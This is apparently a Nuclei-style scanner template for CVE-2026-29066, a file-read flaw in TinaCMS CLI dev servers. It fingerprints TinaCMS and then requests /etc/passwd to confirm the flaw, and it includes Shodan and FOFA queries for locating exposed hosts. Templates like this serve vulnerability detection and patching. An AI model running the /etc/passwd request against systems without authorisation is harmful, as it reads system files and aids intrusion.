TinaCMS - Path Traversal

id: CVE-2026-29066

info:
  name: TinaCMS - Path Traversal
  author: theamanrawat
  severity: medium
  description: |
    TinaCMS CLI < 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.
  impact: |
    Unauthenticated attackers can read arbitrary files on the host system, potentially exposing sensitive information.
  remediation: |
    Update to version 2.1.8 or later.
  reference:
    - https://github.com/tinacms/tinacms/security/advisories/GHSA-m48g-4wr2-j2h6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29066
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2026-29066
    epss-score: 0.04878
    epss-percentile: 0.89674
    cwe-id: CWE-200
  metadata:
    verified: true
    max-requests: 3
    vendor: tinacms
    product: tinacms
    shodan-query: http.title:"TinaCMS"
    fofa-query: body="TinaCMS" || body="tinacms"
  tags: cve,cve2026,tinacms,lfi,vuln,unauthenticated

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "tina-tailwind"
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd"

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0"

      - type: status
        status:
          - 200
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